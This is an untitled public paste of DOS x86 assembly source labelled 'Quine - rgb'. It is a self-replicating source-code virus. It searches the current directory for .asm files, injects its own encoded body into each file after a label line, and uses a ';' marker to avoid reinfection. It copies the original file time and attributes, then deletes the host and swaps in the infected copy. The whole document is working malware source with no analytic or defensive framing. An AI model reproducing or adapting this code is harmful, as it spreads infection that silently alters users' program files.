"Untitled Post" - Views: 911 · Hits: 911 - Type: Public

.model  tiny
.code
org     100h

filename equ 'r' ;one character only

quine:
        db      60h ;pusha
        push    ds
        db      0c8h, 26h, 0, 0 ;enter 38, 0
        db      6ah, 'm'        ;push  'm'
        db      68h, 'a', 's'   ;push  "sa"
        db      68h, '*', '.'   ;push  ".*"

        ;set DTA, else command-line is destroyed

        push    ss
        pop     ds
        mov     dx, sp
        mov     ah, 1ah
        int     21h
        push    cs
        pop     es
        mov     ah, 4eh

q01:
        int     21h
        dw      820fh, (offset q29 - offset $) - 2
                                ;jb q29

        ;open candidate

        mov     ax, 3d00h
        lea     dx, [bp - 0eh]
        int     21h
        dw      820fh, (offset q28 - offset $) - 2
                                ;jb q28
        xchg    bx, ax
        push    cx
        mov     dx, sp
        push    bp
        call    q13
        db      ".model", 0
        db      ".code", 0      ;no CPU specify, pure 8086 code or db only!
        db      0

q02:
	db	";Quine - rgb"

q03:
        db      0dh, 0ah, "db "

q04:
        db      ','

q05:
        lods    byte ptr cs:[si]
        aam     10h
        call    q06
        db      6ah, 'h'        ;push 'h'
        push    ax
        db      68h, ' ', '0'   ;push "0 "
        mov     dx, sp
        mov     ah, 40h
        mov     cl, 5
        int     21h
        add     sp, 6
        mov     cl, 1
        ret

q06:
        call    q07
        xchg    ah, al

q07:
        cmp     al, 0ah
        sbb     al, 69h
        das
        ret

q08:
        pop     bp
        mov     ah, 3fh
        int     21h
        xchg    cx, ax
        pop     ax
        xchg    bx, ax
        push    ax
        mov     ah, 40h
        int     21h
        pop     ax
        xchg    bx, ax
        push    ax
        jmp     bp

q09:
        mov     ah, 3fh
        mov     cl, 1
        int     21h
        xchg    cx, ax
        jcxz    q11
        mov     si, dx
        lods    byte ptr [si]
        cmp     al, 'A'
        jb      q10
        or      al, ' '

q10:
        ret

q11:
        pop     ax

q12:
        stc
        jmp     q26

        ;search for tokens

q13:
        pop     bp

q14:
        mov     di, bp

q15:
        call    q09
        scas    byte ptr [di]
        jne     q14
        cmp     es:[di], ch
        jne     q15

        ;skip whitespace

q16:
        call    q09
        cmp     al, ' '
        jbe     q16

        ;after model must not come "flat"

        cmp     al, 'f'
        dw      840fh, (offset q26 - offset $) - 2
                                ;je q26

        ;find next token

        cmp     es:[di], cx
        lea     bp, [di + 1]
        jnb     q14

        ;find start of next line

q17:
        call    q09
        cmp     al, 0ah
        jne     q17

        ;find line ending with ':' without whitespace before

q18:
        call    q09
        cmp     al, ' '
        jbe     q17
        cmp     al, ':'
        jne     q18
        call    q09

	;check infection marker

	cmp	al, ';'
	je	q12
        cmp     al, 0dh
        jne     q17

        ;create temp file

        mov     byte ptr ds:[si - 1], filename
        mov     ax, 4301h
        dec     cx
        int     21h
        inc     cx
        mov     ah, 3ch
        int     21h
        jb      q26
        push    ax
        push    dx

        ;get host insertion point

        mov     ax, 4201h
        dec     cx
	dec	cx
        mov	dx, cx
        int     21h
        mov     si, dx
        inc     si
        xchg    di, ax
        mov     ax, 4200h
	inc	cx
        cwd
        int     21h
        inc     cx
        pop     dx

        ;copy until insertion point

q19:
        call    q08

q20:
        dec     di
        jne     q19
        dec     si
        jne     q19
        pop     ax
        xchg    bx, ax
        push    ax
        push    dx
        lea     si, [bp + offset quine - offset q20]
        lea     bp, [si + offset q03 - offset quine]
        mov     di, offset q30 - offset quine
	mov	ah, 40h
        mov     cl, offset q03 - offset q02
        lea     dx, [si + offset q02 - offset quine]
	int	21h
        jmp     q22

        ;db start of line, ',' between bytes

q21:
        lea     dx, [bp + offset q04 - offset q03]
        test    di, 0fh
        jne     q23

q22:
        mov     cl, offset q04 - offset q03
        mov     dx, bp

q23:
        mov     ah, 40h
        int     21h

q24:
        call    q05
        dec     di
        jne     q21
        mov     ah, 40h
        inc     cx
        mov     dx, bp
        int     21h
        dec     cx
        push    ss
        pop     ds
        pop     dx
        pop     ax
        xchg    bx, ax
        push    ax

        ;write rest of host

q25:
        call    q08
        inc     cx
        loop    q25
        pop     ax
        xchg    bx, ax
        pop     bp
        pop     cx
        db      6ah, filename   ;push filename
        push    bp
        push    ax

        ;set file time

        mov     ax, 5701h
        mov     cx, [bp - 16h]
        mov     dx, [bp - 14h]
        int     21h
        mov     ah, 3eh
        int     21h
        pop     bx

q26:
        pop     bp
        pushf
        mov     ah, 3eh
        int     21h
        popf
        jb      q27

        ;match host file attributes

        mov     ax, 4301h
        xor     ch, ch
        mov     cl, [bp - 17h]
        mov     dx, sp
        push    ax
        int     21h

        ;delete host

        pop     ax
        xor     cl, cl
        lea     dx, [bp - 0eh]
        int     21h
        mov     ah, 41h
        int     21h

        ;rename temp to host

        push    ds
        pop     es
        mov     ah, 56h
        mov     di, dx
        mov     dx, sp
        int     21h

q27:
        pop     cx

q28:
        mov     ah, 4fh
        jmp     q01

q29:
        db      0c9h            ;leave
        pop     ds
        push    ds
        pop     es
        mov     ah, 1ah
        mov     dx, 80h
        int     21h
        db      61h             ;popa
q30:
        ret

end     quine